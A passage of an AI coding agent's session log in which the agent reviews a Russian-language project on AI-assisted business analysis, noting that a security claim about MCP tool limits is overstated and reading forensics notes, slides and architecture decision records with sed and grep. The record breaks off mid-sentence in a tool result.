{\n[2026-09-29T07:55:21.480Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:55:21.480Z] [INFO]         \"thinking\": \"I've found two issues so far: the security answer overstates protections since \u0413-12 treats the MCP read-only limit as merely organizational and the hook allows any `use_mcp_tool` through, and the \\\"\u0434\u043e\u043c\u0435\u043d \u2014 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u0440\u0435\u0436\u0438\u043c\\\" naming scheme is unverified. I'll continue checking the rest.\\n\\n\",\n[2026-09-29T07:55:21.480Z] [INFO]         \"signature\": \"CAQS1gYKEQgSGAI4AUIJbmFycmF0aW9uEgzL1yXEu8tNA3isfqEaDEJDqaf8nVkvUjECaCIwDeknPFsnWarYnWY/K5eaBNt4TLW6UbPgPdnSJ/TjCxZ2WXC86utAVGyUmtXrRfBEKvIFuQPnKrCINoet9ZfmB6mKM89aSkulKpNILznX/hLoZ+sPlDFLhD7iQXLPLB4vSXJpeugendLLiCSgiBIC8kPvs1Tn0oIJAVhaFGa1jFqOVfNeIKhvgP9Mm/orcdxLCuXvL4eFwygCzkkb5ZsK3Zaqoj1tFKojpn5KrMJ/9FNE1MrpU9OaJrrhUjaH+glep09v+A6CL1ag8o8+Jzg9dddGfPyLbd6lJ536J13VFlS5quPyGgfj67COhD4UDk8ZORTad372CmLrqXPMv2kcFK90j7zscMDZFciHi28N/lZpHB1zJdITUq730X28QYcJFHZ7bdRKunO96PB74ih67lnZc6irqBEmbE2S0PzY7v5UdwUaoXxmxKkaNEo33M1YkHIWCQFMR/kbHP/ZdFAOb8Bvr0VNDr82Qw09CPrHrMNSRpOAM8XOEuCYthKbOTn1rxKiYLo1+1I607gIuX7Fx9ebOPj/iW/1JuSLnb395kb8SdbWsMSZ3/vcdqhVZzkPw8rjuVXkK6Ijwz/lrDYo16xbVjZwRJ1eOCUBUh9BMqYL9IvD0QMq+9MOXh37oxhv0gEKeUJl+nWCVNnf8tZnJ/uYMckNPvLmj5Ck1nZ40B+8lqkhY0ngNDaXwkW1EzTZiW44BSOJyXRWl7xui+ketRxE3+YZ/jnVWvpVhm9p1VApyHU+ZQZZb3YZ+LqnezfQOoP1VlOwHGmghTca/Tc80dUnducBXZuJzcC0jDTSfgHRj81PlKrLuI9nlVUSkKwWDoXiQ8NZxouSnrVKwdy5Gmzzj/v3lLDWcUaUHCN/mUvyWneBolnaj5q9eOGiH1cEiBJk/yXqcXzFRdPs2bmcsZCjivKoACrK4+z08VtfXmHd07eKYJ7+tuYnX+1f01+cI7fISsQkRo2MyH/4YjboPZdk30etzNy8gWUh08pSRjNi6pWt8C7k0d9pLxNpsZX9K1vDxxvaOFof0losWUQhtw3b24TWEM8Sd1Ni+FTFos7L1JWZ0RgB\"\n[2026-09-29T07:55:21.480Z] [INFO]       }\n[2026-09-29T07:55:21.480Z] [INFO]     ],\n[2026-09-29T07:55:21.480Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:21.480Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:21.480Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:21.480Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:21.480Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:21.480Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:21.480Z] [INFO]       \"cache_creation_input_tokens\": 7629,\n[2026-09-29T07:55:21.480Z] [INFO]       \"cache_read_input_tokens\": 41603,\n[2026-09-29T07:55:21.480Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:21.480Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:21.480Z] [INFO]         \"ephemeral_1h_input_tokens\": 7629\n[2026-09-29T07:55:21.480Z] [INFO]       },\n[2026-09-29T07:55:21.480Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T07:55:21.480Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:21.480Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:21.480Z] [INFO]     },\n[2026-09-29T07:55:21.480Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:21.480Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:21.480Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:21.480Z] [INFO]   },\n[2026-09-29T07:55:21.480Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:21.480Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:21.480Z] [INFO]   \"uuid\": \"693d449a-b82d-4268-8c5d-9a4a0ddc725d\",\n[2026-09-29T07:55:21.480Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:21.368Z\",\n[2026-09-29T07:55:21.480Z] [INFO]   \"request_id\": \"req_011CfXNWJRzJcsUvKMcHS1WV\",\n[2026-09-29T07:55:21.480Z] [INFO]   \"narration_block_indexes\": [\n[2026-09-29T07:55:21.480Z] [INFO]     0\n[2026-09-29T07:55:21.480Z] [INFO]   ]\n[2026-09-29T07:55:21.480Z] [INFO] }\n[2026-09-29T07:55:23.980Z] [INFO] {\n[2026-09-29T07:55:23.980Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:55:23.980Z] [INFO]   \"message\": {\n[2026-09-29T07:55:23.980Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:55:23.980Z] [INFO]     \"id\": \"msg_011CfXNWJsnACnTn71a2cT3L\",\n[2026-09-29T07:55:23.980Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:55:23.980Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:55:23.980Z] [INFO]     \"content\": [\n[2026-09-29T07:55:23.980Z] [INFO]       {\n[2026-09-29T07:55:23.980Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:55:23.980Z] [INFO]         \"id\": \"toolu_01NgutnEZwUwZSnBkx5dj7ER\",\n[2026-09-29T07:55:23.980Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:55:23.980Z] [INFO]         \"input\": {\n[2026-09-29T07:55:23.980Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process\\nsed -n 18,26p $P/docs/analysis/2026-09-23-requirements-run-forensics.md; echo ----\\nsed -n 213,220p $P/ba-meta-model/40-practice-and-cases.md; echo ----\\nsed -n 186,200p $P/docs/presentation/2026-09-29-meta-model-presentation-slides.md; echo ----\\ngrep -n -i '\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\\\\|\u043a\u043b\u044e\u0447' $P/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md | head -5; echo ----\\ngrep -rn -i '\u0437\u0430\u043f\u0440\u0435\u0449.*\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442' $P/dist/execution-package-cline-vscode/*.md $P/dist/execution-package-cline-vscode/.clinerules* $P/docs/adr/*.md 2>/dev/null | head -5\\ngrep -n -i '\u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\\\\|\u043f\u0443\u0431\u043b\u0438\u0447\u043d\\\\|\u0441\u0435\u043a\u0440\u0435\u0442' $P/docs/adr/2026-09-adr-019*.md $P/decisions/2026-09-adr-017*.md | head -8\",\n[2026-09-29T07:55:23.980Z] [INFO]           \"description\": \"Check forensic classes, M-1 baseline, security claims\"\n[2026-09-29T07:55:23.980Z] [INFO]         },\n[2026-09-29T07:55:23.980Z] [INFO]         \"caller\": {\n[2026-09-29T07:55:23.980Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T07:55:23.980Z] [INFO]         }\n[2026-09-29T07:55:23.980Z] [INFO]       }\n[2026-09-29T07:55:23.980Z] [INFO]     ],\n[2026-09-29T07:55:23.980Z] [INFO]     \"container\": null,\n[2026-09-29T07:55:23.980Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:55:23.980Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:55:23.980Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:55:23.980Z] [INFO]     \"usage\": {\n[2026-09-29T07:55:23.980Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:55:23.980Z] [INFO]       \"cache_creation_input_tokens\": 7629,\n[2026-09-29T07:55:23.980Z] [INFO]       \"cache_read_input_tokens\": 41603,\n[2026-09-29T07:55:23.980Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:55:23.980Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:55:23.980Z] [INFO]         \"ephemeral_1h_input_tokens\": 7629\n[2026-09-29T07:55:23.980Z] [INFO]       },\n[2026-09-29T07:55:23.980Z] [INFO]       \"output_tokens\": 5,\n[2026-09-29T07:55:23.980Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:55:23.980Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:55:23.980Z] [INFO]     },\n[2026-09-29T07:55:23.980Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:55:23.980Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:55:23.980Z] [INFO]     \"context_management\": null\n[2026-09-29T07:55:23.980Z] [INFO]   },\n[2026-09-29T07:55:23.980Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:23.980Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:23.980Z] [INFO]   \"uuid\": \"defa5485-3e1d-4b02-9ba1-2ed807ede569\",\n[2026-09-29T07:55:23.980Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:23.968Z\",\n[2026-09-29T07:55:23.980Z] [INFO]   \"request_id\": \"req_011CfXNWJRzJcsUvKMcHS1WV\",\n[2026-09-29T07:55:23.980Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T07:55:23.980Z] [INFO]     \"toolu_01NgutnEZwUwZSnBkx5dj7ER\": {\n[2026-09-29T07:55:23.980Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; P=projects/ba-ai-process\\nsed -n 18,26p $P/docs/analysis/2026-09-23-requirements-run-forensics.md; echo ----\\nsed -n 213,220p $P/ba-meta-model/40-practice-and-cases.md; echo ----\\nsed -n 186,200p $P/docs/presentation/2026-09-29-meta-model-presentation-slides.md; echo ----\\ngrep -n -i '\u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\\\\|\u043a\u043b\u044e\u0447' $P/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md | head -5; echo ----\\ngrep -rn -i '\u0437\u0430\u043f\u0440\u0435\u0449.*\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u043d\u0435 \u043c\u0435\u043d\u044f\u0435\u0442 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\\\|\u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442' $P/dist/execution-package-cline-vscode/*.md $P/dist/execution-package-cline-vscode/.clinerules* $P/docs/adr/*.md 2>/dev/null | head -5\\ngrep -n -i '\u0431\u0438\u0437\u043d\u0435\u0441-\u043f\u0440\u043e\u0433\u043e\u043d\\\\|\u043f\u0443\u0431\u043b\u0438\u0447\u043d\\\\|\u0441\u0435\u043a\u0440\u0435\u0442' $P/docs/adr/2026-09-adr-019*.md $P/decisions/2026-09-adr-017*.md | head -8\",\n[2026-09-29T07:55:23.980Z] [INFO]       \"description\": \"Check forensic classes, M-1 baseline, security claims\"\n[2026-09-29T07:55:23.980Z] [INFO]     }\n[2026-09-29T07:55:23.980Z] [INFO]   }\n[2026-09-29T07:55:23.980Z] [INFO] }\n[2026-09-29T07:55:26.039Z] [INFO] {\n[2026-09-29T07:55:26.039Z] [INFO]   \"type\": \"user\",\n[2026-09-29T07:55:26.039Z] [INFO]   \"message\": {\n[2026-09-29T07:55:26.039Z] [INFO]     \"role\": \"user\",\n[2026-09-29T07:55:26.039Z] [INFO]     \"content\": [\n[2026-09-29T07:55:26.039Z] [INFO]       {\n[2026-09-29T07:55:26.039Z] [INFO]         \"tool_use_id\": \"toolu_01NgutnEZwUwZSnBkx5dj7ER\",\n[2026-09-29T07:55:26.039Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:55:26.039Z] [INFO]         \"content\": \"## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435, UI \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c; \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438;\\n\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0442\u043e\u0447\u043d\u043e\u0433\u043e\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430. \u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n----\\n  \u043d\u043e \u043d\u0438 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0433\u043e\u043d \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0430\u0433\u0435\u043d\u0442\u043e\u043c \u0432 \u0441\u0440\u0435\u0434\u0435: \u0446\u0435\u043b\u0435\u0432\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043c\u0435\u0442\u0440\u0438\u043a\\n  \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f\u043c\u0438, \u0430 \u043d\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c\u0438.\\n- \u0411\u0430\u0437\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f `M-1` \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0430 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c \u0437\u0430\u043c\u0435\u0440\u043e\u043c \u043d\u0430 \u0442\u0440\u0451\u0445 \u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u044b\u0445\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 \u043a\u043e\u0440\u043f\u0443\u0441\u0430: \u0442\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430, `M-1 = 0.0`, \u0441\u0435\u043c\u044c \u0441\u043b\u043e\u0442\u043e\u0432 \u0438\u0437\\n  \u0447\u0435\u0442\u044b\u0440\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043d\u0435 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0438\u0441\u044c \u043d\u0438 \u0440\u0430\u0437\u0443.\\n- \u0421\u0440\u0435\u0437 \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043e\u0434\u0438\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u044b\u0439 \u043a\u043b\u0430\u0441\u0441: \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430 `security` \u0438\\n  `hardware`, \u0434\u043b\u044f \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0438\u0441\u0442\u043e\u0440\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u043d\u0435\u0442, \u0441\u0440\u0435\u0437\u043e\u043c \u043d\u0435 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f.\\n- \u041f\u043e\u0440\u043e\u0433\u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0432\u044b\u0431\u0440\u0430\u043d\u044b \u043a\u0430\u043a \u043f\u0435\u0440\u0432\u043e\u0435 \u043f\u0440\u0438\u0431\u043b\u0438\u0436\u0435\u043d\u0438\u0435 \u0438 \u043f\u043e\u0434\u043b\u0435\u0436\u0430\u0442 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0443 \u043f\u043e\u0441\u043b\u0435\\n----\\n## \u0421\u043b\u0430\u0439\u0434 4. \u0423\u043b\u0443\u0447\u0448\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u043e \u0434\u0430\u0432\u0430\u0442\u044c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442: 60+ \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043f\u043e\u043a\u0430\u0437\u0430\u043b\u0438, \u0447\u0442\u043e \u0434\u0435\u0444\u0435\u043a\u0442 \u0441\u0438\u0434\u0438\u0442 \u0434\u043e \u0442\u0435\u043a\u0441\u0442\u0430\\n\\n**\u042d\u043c\u043f\u0438\u0440\u0438\u043a\u0430.** \u042d\u0432\u043e\u043b\u044e\u0446\u0438\u044f \u043e\u0442 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u043a \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438.\\n\\n- **\u0410\u043f\u0440\u0435\u043b\u044c \u2014 \u0438\u044e\u043d\u044c:** \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0432 \u0432\u0435\u0431-\u0447\u0430\u0442\u0435; \u043e\u0434\u0438\u043d \u0447\u0435\u0440\u043d\u043e\u0432\u043e\u0439 \u043f\u0440\u043e\u043c\u043f\u0442 \u00ab\u0434\u043b\u044f \u0411\u0410\u00bb\\n  \u0440\u0430\u0437\u0434\u0435\u043b\u0451\u043d \u043d\u0430 23 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u0430. \u041f\u043e\u0441\u043b\u0435 \u043f\u0435\u0440\u0432\u043e\u0439 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u043e\u0442\u043a\u0430\u0442\u0438\u043b\u0438: \u043f\u0440\u043e\u043c\u043f\u0442 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442.\\n- **\u0410\u0432\u0433\u0443\u0441\u0442:** 56 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u0447\u0430\u0445; \u043f\u0440\u0438\u0437\u043d\u0430\u043d\u043e, \u0447\u0442\u043e evals \u0438\\n  \u044d\u0442\u0430\u043b\u043e\u043d\u043e\u0432 \u043d\u0435\u0442.\\n- **\u0421\u0435\u043d\u0442\u044f\u0431\u0440\u044c:** \u0444\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u2014 \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u043e\u0432. \u0412\u0430\u0440\u0438\u0430\u043d\u0442\u044b\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0442 \u043f\u043e \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043d\u0430 0.077 \u043f\u043e \u0416\u0430\u043a\u043a\u0430\u0440\u0443; 10 \u0438\u0437 12\\n  \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435\u0442 \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u043c \u0438\u0437 24 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432.\\n- **\u0412\u044b\u0432\u043e\u0434:** \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e, \u0430 \u043d\u0435 \u043d\u043e\u0440\u043c\u0430. \u041c\u043e\u0434\u0435\u043b\u044c \u0441\u0442\u0440\u043e\u0438\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e,\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u044b \u0441\u043b\u0443\u0436\u0430\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0439.\\n\\n----\\n28:\u041d\u0443\u0436\u0435\u043d \u043e\u0434\u0438\u043d OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 \u0430\u0433\u0435\u043d\u0442 \u0434\u043b\u044f \u0411\u0410 \u043e\u0442 junior \u0434\u043e expert \u0441 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u043c\u043e\u0434\u0435\u043b\u044c\u044e AI Core \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u044b\u043c BCREQ. [\u041f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u043d\u0430\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f AI Core](https://github.com/user-attachments/files/32652321/default.txt) \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 OpenAI-compatible `/chat/completions`, `tool calls`, \u043c\u043e\u0434\u0435\u043b\u044c\u043d\u044b\u0435 ID `gpu-default` \u0438 `gpu-deep`, \u043f\u0435\u0440\u0441\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0438 HTTP endpoint, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u0437 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0441\u0435\u0442\u0438/VPN. \u041e\u043d\u0430 \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 **API \u043c\u043e\u0434\u0435\u043b\u0438**. \u041e\u043d\u0430 \u043d\u0435 \u0437\u0430\u0434\u0430\u0451\u0442 MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b Jira/Confluence, \u0438\u0445 URL, transport, tool names \u0438\u043b\u0438 \u043f\u0440\u0430\u0432\u0430. \u0423\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u00ab\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a Mango AI API \u0441\u0430\u043c\u043e \u0434\u0430\u0451\u0442 \u0434\u043e\u0441\u0442\u0443\u043f \u043a Jira/Confluence\u00bb \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e \u044d\u0442\u0438\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n30:[\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f Cline](https://github.com/cline/cline/blob/main/docs/provider-config/openai-compatible.mdx) \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0439 \u043f\u0443\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 `OpenAI Compatible`: Base URL, API Key, Model ID, \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 output. [Cline](https://github.com/cline/cline/blob/main/README.md) \u0443\u043c\u0435\u0435\u0442 \u0447\u0438\u0442\u0430\u0442\u044c/\u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 VS Code \u0441 \u043f\u043e\u043a\u0430\u0437\u043e\u043c diff \u0438 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439. [\u0414\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f MCP](https://github.com/cline/cline/blob/main/docs/mcp/mcp-overview.mdx) \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 tools. \u041d\u043e [\u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432](https://github.com/cline/cline/blob/main/docs/tools-reference/all-cline-tools.mdx) \u043f\u0440\u044f\u043c\u043e \u0433\u043e\u0432\u043e\u0440\u0438\u0442: **\u043c\u043e\u0434\u0435\u043b\u044c \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442**, \u043a\u0430\u043a\u043e\u0439 tool 